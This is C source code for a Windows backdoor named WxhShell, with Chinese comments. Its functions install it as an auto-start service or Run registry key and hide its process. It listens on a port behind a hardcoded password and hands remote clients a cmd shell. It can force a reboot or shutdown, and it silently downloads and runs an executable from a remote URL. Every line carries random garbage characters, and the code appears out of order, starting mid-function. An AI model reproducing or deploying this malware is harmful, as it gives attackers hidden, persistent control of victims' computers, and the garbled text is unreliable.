    ExitThread(0); vG&>- Z  
    } e_BG%+;G,  
    break; vL/ 3(Bo7  
    } X/]@EF  
  // 关机 2`yhxO  
  case 'd': { x "W~m.y$h  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  K +7  
    if(Boot(SHUTDOWN)) H/8^Fvd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N&8TG  
    else { ?M2(8 0  
    closesocket(wsh); ;#B(L=/  
    ExitThread(0); I8*VM3  
    } myx/|-V"F  
    break; !Jg;%%E3:i  
    } (Guzj*12  
  // 获取shell 4" @<bKx  
  case 's': { aCQtE,.  
    CmdShell(wsh); N gNGq\!  
    closesocket(wsh); _8K+iqMZG  
    ExitThread(0); z,HhSW?&^  
    break; }v(wjD  
  } 6*8Wtq  
  // 退出 vr!J3H f  
  case 'x': { "SF0b jG9C  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y~~Dg?e  
    CloseIt(wsh); 9#LMK 1ge  
    break; ,OZ  
    } .^YxhUH,G  
  // 离开 p_r`"  
  case 'q': { $QX$rN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @xG&K{j  
    closesocket(wsh); ?7{U=1gb$  
    WSACleanup(); 5Z=4%P*I  
    exit(1); *% -<Ldv  
    break; .soCU8i3  
        } }A9#3Y|F  
  } A`c22Ls]  
  } QxT'\7f  
wcHk]mLM  
  // 提示信息 FOaA}D `]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gv!8' DKn  
} Z0|5VLk,<{  
  } pP\Cwo #,  
s8j |>R|k  
  return; 5zuwqOD*  
} sYTz6-  
lR(9;3  
// shell模块句柄 MB}nn&u#  
int CmdShell(SOCKET sock) l,ny=Q$[1'  
{ tzI|vVT,  
STARTUPINFO si; AbU`wr/h 4  
ZeroMemory(&si,sizeof(si)); $0*sj XV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `RTxc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t Zxx#v`  
PROCESS_INFORMATION ProcessInfo; -oD,F $Rb  
char cmdline[]="cmd"; 6#w>6g4V~R  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G,8mFH  
  return 0; QE<Z@/V*a  
} OqGp|`  
(qcFGM22U  
// 自身启动模式 cJKnB!iL5  
int StartFromService(void) N,t9X7G&  
{ m l`xLZN>L  
typedef struct E4#{&sRT  
{ ,f03TBD}  
  DWORD ExitStatus; OM'iJB6=  
  DWORD PebBaseAddress; 8jK=A2pTa  
  DWORD AffinityMask; glAS$<  
  DWORD BasePriority; eSPS3|YYn  
  ULONG UniqueProcessId; $KcAB0 B8  
  ULONG InheritedFromUniqueProcessId; "tEp8m  
}   PROCESS_BASIC_INFORMATION; 1N5 E  
wl=tN{R  
PROCNTQSIP NtQueryInformationProcess; NP>v @jO  
VO#rJ1J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; AXw qN:P}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7:`XE&Z  
;_sJ>.=\  
  HANDLE             hProcess; ;H$ Cq' I  
  PROCESS_BASIC_INFORMATION pbi; BD6!,  
H`[FC|RYyE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |$.?(FZYu  
  if(NULL == hInst ) return 0; z:'m50'  
D@=]mh6vl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~tUZQ5"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L K&c~ Uy  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j/v>,MM  
P0N/bp2Uy  
  if (!NtQueryInformationProcess) return 0; UrniJB]  
:kZ]Swi 5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *h^->+0n  
  if(!hProcess) return 0; lM-\:Q!  
m:_#kfC&K"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v[CR$@Y  
qxRsq&_  
  CloseHandle(hProcess); lL}6IZ5sb  
>=k7#av  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zK0M WyXO  
if(hProcess==NULL) return 0; %PW-E($o<  
:?f<tNU$  
HMODULE hMod; k|fM9E  
char procName[255]; 5 nt3gVy  
unsigned long cbNeeded; 1q}32^>+o  
+\dVC,,=^g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $G=^cNB|JB  
0jp].''RK\  
  CloseHandle(hProcess); AArLNXzVW  
l&& i`  
if(strstr(procName,"services")) return 1; // 以服务启动 3h bHS~  
>WHajYO"  
  return 0; // 注册表启动 kV-<[5AWW  
} Z<U,]iZB  
8~y!X0Ov!  
// 主模块 6Ga'_P:  
int StartWxhshell(LPSTR lpCmdLine) lw=kTYbq  
{ ueg%yvO  
  SOCKET wsl; \Y xG  
BOOL val=TRUE; l@Lk+-[D  
  int port=0; +m_ .?V6  
  struct sockaddr_in door; V .Kjcy  
HB9"T5Pd*  
  if(wscfg.ws_autoins) Install(); &0 QUObK  
gD$&OkH  
port=atoi(lpCmdLine); F"Dr(V  
8%4;'[UV  
if(port<=0) port=wscfg.ws_port; Y58H.P  
5%'ybh)@   
  WSADATA data; 74_?@Z(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s$y_(oU,D  
_ $PeFE2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4'faE="1)S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ehy(;n)\  
  door.sin_family = AF_INET; ;&lXgC^*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `!8\ |/  
  door.sin_port = htons(port); |\bNFnn(  
c coi  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~HY)$Yp;  
closesocket(wsl); e_-g|ukC  
return 1; cg )(L;  
} #m#IBRD:  
&UDbH* !4=  
  if(listen(wsl,2) == INVALID_SOCKET) { ;apLMMsWC  
closesocket(wsl); g.\b@0Uy'  
return 1; AB $N`+&  
} (~@.9&cBD  
  Wxhshell(wsl); >$kFYb>~q  
  WSACleanup(); erI&XI  
W{Qb*{9  
return 0; {UH45#Ua  
THl:>s  
} Tp;W  
:M6|V_Yp  
// 以NT服务方式启动 /@"mQx~[q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k r$)nf  
{ 5REH`-  
DWORD   status = 0; "'B DVxp'w  
  DWORD   specificError = 0xfffffff; r6j[C"@  
!19T=p/:$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -cUW,>E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :] Wn26z)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "]^U(m>f  
  serviceStatus.dwWin32ExitCode     = 0; w !kk(QMV  
  serviceStatus.dwServiceSpecificExitCode = 0; /5%'q~  
  serviceStatus.dwCheckPoint       = 0; 2k!uk6  
  serviceStatus.dwWaitHint       = 0; &[`2 4Db  
}[%F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %2RXrH2&H  
  if (hServiceStatusHandle==0) return; QeY+imM  
0ytAn+/"x  
status = GetLastError(); x~'_;>]r_  
  if (status!=NO_ERROR) %X\J%Fj  
{ QM!UMqdj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yS)k"XNb  
    serviceStatus.dwCheckPoint       = 0;  WLWfe-  
    serviceStatus.dwWaitHint       = 0; lf\"6VIsR  
    serviceStatus.dwWin32ExitCode     = status; =ZHN]PP  
    serviceStatus.dwServiceSpecificExitCode = specificError; yI=nu53BV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z4 z|B&  
    return; :Gz$(!j1.'  
  } h-.^*=]R6  
uA`e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; lBn<\Y!^  
  serviceStatus.dwCheckPoint       = 0; !B[ Y?b:  
  serviceStatus.dwWaitHint       = 0; e_Zs4\^ef  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C&F% j.<  
} kFJ]F |^7  
7<kr|-  
// 处理NT服务事件,比如:启动、停止 ;E}&{w/My  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x ~l"'qsK  
{ e?\Od}Hbw  
switch(fdwControl) 0"-H34M <D  
{ D _\HX9  
case SERVICE_CONTROL_STOP: SdufI_'B  
  serviceStatus.dwWin32ExitCode = 0; AsS~TLG9p  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'bv(T2d~~  
  serviceStatus.dwCheckPoint   = 0; 4o''C |ND  
  serviceStatus.dwWaitHint     = 0; qZQm*q(jM  
  { :wzbD,/M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?@A@;`0Y  
  } @#"K6  
  return;  :A#'8xE/  
case SERVICE_CONTROL_PAUSE: b5p;)#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }+ W5Snx  
  break; =M{&g  
case SERVICE_CONTROL_CONTINUE: m:EYOe,w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ")boY/ P/w  
  break; q89yW)XG  
case SERVICE_CONTROL_INTERROGATE: a"+VP>4  
  break; ABE EJQ  
}; 4&]NC2I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qvsfU*wo?  
} q9zeN:><  
j%vxCs>  
// 标准应用程序主函数 HVC|0}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :U1V 2f'l3  
{ R^E-9S\@  
WUDXx %  
// 获取操作系统版本 Pi&\GMzd  
OsIsNt=GetOsVer(); *nM.`7g*[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }k1[Fc|  
}WQ:Rmi  
  // 从命令行安装 $~EY:  
  if(strpbrk(lpCmdLine,"iI")) Install(); .Gno K?  
3,+Us B%  
  // 下载执行文件 RXPl~]k#i  
if(wscfg.ws_downexe) { esTK4z]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e?aSM  
  WinExec(wscfg.ws_filenam,SW_HIDE); sx9[#6~{Y  
} (ds*$]  
g2lv4Tiq-  
if(!OsIsNt) { )P/~{Ci:T&  
// 如果时win9x,隐藏进程并且设置为注册表启动 lr,i5n{6  
HideProc(); i;)r|L `V?  
StartWxhshell(lpCmdLine); +c'I7bBr  
} %MfT5*||f  
else BD ,3JDqT  
  if(StartFromService()) kr ?`GQm  
  // 以服务方式启动 qyzeAK\Ia  
  StartServiceCtrlDispatcher(DispatchTable); @XF/hhGE_y  
else 6Hpj&Qm  
  // 普通方式启动 .Vq_O u  
  StartWxhshell(lpCmdLine); 4_eFc$^  
=2wy;@f  
return 0; 9/\=6v C|  
} iL IKrU+`  
X<"#=u(  
qmpU{f s  
1 pzd  
=========================================== 9e 1KH'  
\AR3DDm  
6 dCqS  
8j%lM/ v  
r,Pu-bhF  
_`94CC:  
" {Q L qf   
)3_g&&  
#include <stdio.h> HPWjNwM  
#include <string.h> PJcz] <  
#include <windows.h> XN' X&J  
#include <winsock2.h> [TpW$E0H  
#include <winsvc.h> > cJX'U9  
#include <urlmon.h> =>h~<88#5  
I=`efc]T  
#pragma comment (lib, "Ws2_32.lib") !FnH;  
#pragma comment (lib, "urlmon.lib") jdDcmR  
Xp3cYS*u  
#define MAX_USER   100 // 最大客户端连接数 LYiz:cQh  
#define BUF_SOCK   200 // sock buffer zPoIs @  
#define KEY_BUFF   255 // 输入 buffer ~oBSf+N  
KWV{wW=-  
#define REBOOT     0   // 重启 ?9H.JR2s%  
#define SHUTDOWN   1   // 关机 ~Urj:l  
~&IL>2-B  
#define DEF_PORT   5000 // 监听端口 E~!FEl;  
K>$od^f%c  
#define REG_LEN     16   // 注册表键长度 `Tf<w+H  
#define SVC_LEN     80   // NT服务名长度 D&)gcO`\  
0:Lm=9o  
// 从dll定义API cE= v566  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fx4X!(w!B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :@X@8j":  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8eoDE. }  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Vi>kK|\b  
{=d\t<p*n  
// wxhshell配置信息 58My6(5y  
struct WSCFG { <BN)>NqM  
  int ws_port;         // 监听端口 dTP$7nfe  
  char ws_passstr[REG_LEN]; // 口令 : XZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no .~ W^P>t  
  char ws_regname[REG_LEN]; // 注册表键名 p>p=nLK  
  char ws_svcname[REG_LEN]; // 服务名 QSy#k~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0)lG~_q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !$5U\"M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3'6>zp  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #/1,Cv yj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gasl%&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "mE<r2=@  
Wc_Ph40C<_  
}; e~we YGK  
{/ _.]Vh  
// default Wxhshell configuration $NWI_F4  
struct WSCFG wscfg={DEF_PORT, r).S/  
    "xuhuanlingzhe", 'm"H*f  
    1, !-4pr[C  
    "Wxhshell", C`x>)wm:  
    "Wxhshell", #H1yjJQ /x  
            "WxhShell Service", 18!0H l>  
    "Wrsky Windows CmdShell Service", lBTgI"n=eK  
    "Please Input Your Password: ", ni]gS0/  
  1, mv xg|<  
  "http://www.wrsky.com/wxhshell.exe", Z;i^h,j?$1  
  "Wxhshell.exe" UeT"v?zP  
    }; fD|ox  
zUxF"g-W  
// 消息定义模块 413r3/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >[Q(!Ai  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d=wzN3 ;-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^fb4g+Au  
char *msg_ws_ext="\n\rExit."; Fk 1M5Dm  
char *msg_ws_end="\n\rQuit."; TaB35glLY  
char *msg_ws_boot="\n\rReboot..."; =RUKN38  
char *msg_ws_poff="\n\rShutdown..."; 0:nQGX!N  
char *msg_ws_down="\n\rSave to "; t9x.O  
*Qg/W? "m  
char *msg_ws_err="\n\rErr!"; ]}G (@9  
char *msg_ws_ok="\n\rOK!"; }EO n=*  
+;z4.C{gM  
char ExeFile[MAX_PATH]; 5R,/X  
int nUser = 0; 37!}8  
HANDLE handles[MAX_USER]; -]PW\}w1  
int OsIsNt; JX/rAnc@  
9!FV. yp%F  
SERVICE_STATUS       serviceStatus; zYj8\iER  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; D x Vt  
'F[QE9]*  
// 函数声明 AC(}cMM+  
int Install(void); =J?<M?ugf  
int Uninstall(void); 4- 6'  
int DownloadFile(char *sURL, SOCKET wsh); )r1Z}X(#d  
int Boot(int flag); 2&!G@5  
void HideProc(void); !cE)LG  
int GetOsVer(void); F{f "xM  
int Wxhshell(SOCKET wsl); T cSj `-  
void TalkWithClient(void *cs); e[n T'e  
int CmdShell(SOCKET sock); <<&:BK   
int StartFromService(void); Cl>'K*$F  
int StartWxhshell(LPSTR lpCmdLine); o,Ew7~u  
XUUS N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Khw!+!(H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k2*^W&Z  
6576RT  
// 数据结构和表定义 R_ 4600  
SERVICE_TABLE_ENTRY DispatchTable[] = WE`Y!  
{ |2c'0Ibu  
{wscfg.ws_svcname, NTServiceMain}, Q9#$4  
{NULL, NULL} G*wn[o(^j  
}; kG,6;aVZ8  
u8N+ht@  
// 自我安装 1/w['d4l!  
int Install(void) ]b<k%  
{ 7,jh44(\=  
  char svExeFile[MAX_PATH]; UmQ 9_H7  
  HKEY key; KY"W{D9ib  
  strcpy(svExeFile,ExeFile); \kWceu}H,  
)Hlr 09t=]  
// 如果是win9x系统,修改注册表设为自启动 iAWPE`u4  
if(!OsIsNt) { rMf& HX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4U>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `t ZvIy*  
  RegCloseKey(key); :fpYraBM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /k}v m3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |n~,$  
  RegCloseKey(key); O2Rv^la  
  return 0; p#J}@a  
    } 0-4WLMx  
  } ]rHdG^0uss  
} se$GE:hC1Q  
else { "vjz $.  
 }e9:2  
// 如果是NT以上系统,安装为系统服务 )+mbR_@,O6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5oWR}qqFK  
if (schSCManager!=0) ^i#q{@g  
{ cD2}EqZ 9  
  SC_HANDLE schService = CreateService o $p*C  
  ( P7"g/j""  
  schSCManager, b^5rV5d  
  wscfg.ws_svcname, MWsBZJRr  
  wscfg.ws_svcdisp, YJXh|@LT  
  SERVICE_ALL_ACCESS, |'mgo  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .wS' Xn&  
  SERVICE_AUTO_START, xk.\IrB_  
  SERVICE_ERROR_NORMAL, }3^t,>I=,6  
  svExeFile, Scs \nF2  
  NULL, .#J'+LxFr  
  NULL, ,T jd  
  NULL, i~.L{K  
  NULL, /[t]m,p$yq  
  NULL =Q Otag1;  
  ); qV^,muyoG  
  if (schService!=0) @y)-!MHN(8  
  { z+NXD4  
  CloseServiceHandle(schService); _i6G)u&N  
  CloseServiceHandle(schSCManager); #$X_,P|D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |ay W _5}  
  strcat(svExeFile,wscfg.ws_svcname); HRje4=:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I`E9]b(w  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +:wOzTUN  
  RegCloseKey(key); :%)l* [  
  return 0; SAc}5.  
    } !}Cd_tj6  
  } oC.:mI  
  CloseServiceHandle(schSCManager); ~0t] `<y=  
} tX&Dum$  
} GZ UDI#  
+;pdG[N  
return 1; [|xHXcW  
} UFm E`|le  
~%k<N/B  
// 自我卸载 VGA?B@  
int Uninstall(void) 70a7}C\/o  
{ "+r8izB  
  HKEY key; 7oh6G  
 ]6W#P7  
if(!OsIsNt) { b 9F=}.4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .z7F58  
  RegDeleteValue(key,wscfg.ws_regname); >j_,3{eJ  
  RegCloseKey(key); 4U~[ 8U}g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4=>/x90y  
  RegDeleteValue(key,wscfg.ws_regname); GmPNzHDb  
  RegCloseKey(key); +KrV!Taf  
  return 0; rM<c;iQ  
  } dBX%/  
} I(bH.{1n7  
} I/_`/mQ  
else { rH$0h2  
e ,k,L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ZVR0Kzu?Ra  
if (schSCManager!=0) W$v5o9\Px  
{ ?msx  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6*/0 yGij  
  if (schService!=0) kf~ D m}bV  
  { {(Drw~/@  
  if(DeleteService(schService)!=0) { Bk?3lwCT  
  CloseServiceHandle(schService); j$n[; \]n  
  CloseServiceHandle(schSCManager); wz$1^ml  
  return 0; /^ hB6_'D  
  } C5\bnk{  
  CloseServiceHandle(schService); <hkg~4EKc  
  } /4<eI 3Z  
  CloseServiceHandle(schSCManager); uw&GXOzew9  
} OTl\^!  
} `BmAu[(e&  
~}i &gd|(  
return 1; \@8$tQCZ  
} 2N9 BI-a  
\3hhM}6)DM  
// 从指定url下载文件 Gc<Jx|Q7  
int DownloadFile(char *sURL, SOCKET wsh) 5<<e_n.2q  
{ <}pqj3  
  HRESULT hr; a9(1 6k  
char seps[]= "/"; DAj@wn3K?  
char *token; ]tanvJG}'  
char *file; >w9fFm!Q  
char myURL[MAX_PATH]; nG1 mx/w  
char myFILE[MAX_PATH]; UsNr$MO {  
d>M&jSCL  
strcpy(myURL,sURL); ;m,lS_[c  
  token=strtok(myURL,seps); @c,}\"(  
  while(token!=NULL) J@=1zL  
  { KCGs*kp>  
    file=token; O{,Uge2n,  
  token=strtok(NULL,seps); _~d C>`K  
  } Y [0 S  
qDxz`}Ly=  
GetCurrentDirectory(MAX_PATH,myFILE); t^)q[g  
strcat(myFILE, "\\"); $h`?l$jC(@  
strcat(myFILE, file); Yc3r 3Jy  
  send(wsh,myFILE,strlen(myFILE),0); DzkE*vR  
send(wsh,"...",3,0); jX$TiG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `^-?yu@  
  if(hr==S_OK) |qE"60&"}  
return 0; WOZf4X`[  
else n6ETWjP  
return 1; !Ui3}  
_Z~wpO}/  
} f9cS^v_:  
\O/EY&  
// 系统电源模块 E<1^i;F  
int Boot(int flag) !:,d^L!bh  
{ :W_S  
  HANDLE hToken; ?C(Z\"IX  
  TOKEN_PRIVILEGES tkp; Ro*$7j0!Hf  
+*WE<4"!6  
  if(OsIsNt) { HWxk>F0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ka1 F7b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5@" bx=  
    tkp.PrivilegeCount = 1; 6d&BN7B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;_R;P;<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jJg9M'@2!  
if(flag==REBOOT) { sZ{Kl\1@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =iC5um:  
  return 0; [R)?93  
} z%Ywjfn'  
else { E j@M\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s1<_=sfnT  
  return 0; y%Ui)UMnw]  
} s03 DL  
  } f&bY=$iff  
  else { [Qa0uM#SU  
if(flag==REBOOT) { s[)2z3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %L+/GtxK  
  return 0; S3PW[R@=  
} F=kD/GCB  
else { ;TD<\1HJT=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >V;JI;[  
  return 0; XtRfzqg?K  
} 12])``9  
} ez%RWck  
udX4SBq-pC  
return 1;  wa6DJ  
} y4$UPLm  
_tS<\zy@y  
// win9x进程隐藏模块 KOv ar0  
void HideProc(void) , d ?4"8_  
{ %4Ylq|d  
@Ytsb!!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k ~lj:7g~  
  if ( hKernel != NULL ) G'q7@d {'  
  { ]^Z7w`=%5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \K9XG/XIx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W%hdS<b  
    FreeLibrary(hKernel); RX4O1Z0  
  } )/PvaL  
^ ]SS\=7  
return; zh2$U dZ|M  
} TKvUBy  
ptQr8[FA  
// 获取操作系统版本 =\e}fyuK  
int GetOsVer(void) 2w)0>Y(_  
{ BoG/Hd.S  
  OSVERSIONINFO winfo; Mcj4GjV6:"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b[$%Wg  
  GetVersionEx(&winfo); wxB?}   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B3@   
  return 1; $]:I1I  
  else z[b,:G  
  return 0; %+|k>?&z7  
} fu}NH \{  
@riCR<fF  
// 客户端句柄模块 S&}7jRH1  
int Wxhshell(SOCKET wsl) EShc1KPqc  
{ 1el?f>  
  SOCKET wsh; }OJ*o  
  struct sockaddr_in client; `sQ\j Nu  
  DWORD myID; @4^5C-  
>~_y\  
  while(nUser<MAX_USER) 9G` 2t~%  
{ h']R P  
  int nSize=sizeof(client); YN_#x  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d?Gf T$1  
  if(wsh==INVALID_SOCKET) return 1; \ v44Vmfz  
"B*a| 'n!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,w,>pO'[  
if(handles[nUser]==0) #R4Mv(BG  
  closesocket(wsh); s+(%N8B  
else 7f8%WD)  
  nUser++; H[@uE*W  
  } /p~"?9b[ i  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \)eHf 7H  
~0w7E0DE[  
  return 0; 6%H8Q v  
} ,w; ~R4x  
oF,XSd  
// 关闭 socket 9"52b 9U  
void CloseIt(SOCKET wsh) LO[1xE9  
{ eW"i'\`0  
closesocket(wsh); JiEcPii  
nUser--; lAJ)  
ExitThread(0); 9vWKyzMi  
} F7^8Ej9*a  
vD D !.i  
// 客户端请求句柄 m8n!<_NFt(  
void TalkWithClient(void *cs) *_`T*$  
{ v:B_%-GfOA  
$SSE\+|3  
  SOCKET wsh=(SOCKET)cs; pRx^O F(3  
  char pwd[SVC_LEN]; @^a6^*X>  
  char cmd[KEY_BUFF]; gn1`ZYg  
char chr[1]; O_K@\<;~  
int i,j; {R `IA|T#k  
/_@S*=T5  
  while (nUser < MAX_USER) { '!Ps4ZTn_  
T~cq=i|O  
if(wscfg.ws_passstr) { $^ (q0zR~l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >hoIJZP,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M$ep.<Z1|  
  //ZeroMemory(pwd,KEY_BUFF); .{k(4_Q?I  
      i=0; TP{lt6wws(  
  while(i<SVC_LEN) { 2FD[D `n]f  
tBtJRi(  
  // 设置超时 s=(~/p#M  
  fd_set FdRead; #i-!:6sLA  
  struct timeval TimeOut; m?'5*\(ST  
  FD_ZERO(&FdRead); J_}&Btb)e  
  FD_SET(wsh,&FdRead); 6#T?g7\pyR  
  TimeOut.tv_sec=8; |w- tkkS  
  TimeOut.tv_usec=0; E"!9WF(2t5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?=jmyDXH!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kMKI=>s+  
GC66n1- X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +cvz  
  pwd=chr[0]; c=I!?a"  
  if(chr[0]==0xd || chr[0]==0xa) { cBmo#:>'  
  pwd=0; 0 !9vGs  
  break; g-pDk*|I,Q  
  } 9<kKno  
  i++; )PL'^gR r  
    } , M/-lW  
T~s/@*y9  
  // 如果是非法用户,关闭 socket _bqiS]:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -))>7skc  
} _t6siB_u  
THJ KuWy  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cx|[P6d  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TSdjX]Kf  
DX}EOxO,.  
while(1) { w4'(Y,(`  
"sz LTC]*6  
  ZeroMemory(cmd,KEY_BUFF); Yk(OVl T  
Z%Y=Lx  
      // 自动支持客户端 telnet标准   >r{3t{  
  j=0; }1TfKS]m>  
  while(j<KEY_BUFF) { [ w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MFX&+c  
  cmd[j]=chr[0]; \-GV8A2:k  
  if(chr[0]==0xa || chr[0]==0xd) { (*&6XTV(  
  cmd[j]=0; 6NbIT[LvT  
  break; fbB(W E+  
  } |4-c/@D.~  
  j++; 4en&EWUr  
    } UL; d H  
@_Aqk{3  
  // 下载文件 ^4Tr @g#]"  
  if(strstr(cmd,"http://")) { 0MMY{@n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); zF;}b3oIo  
  if(DownloadFile(cmd,wsh)) 86/CA[Y-  
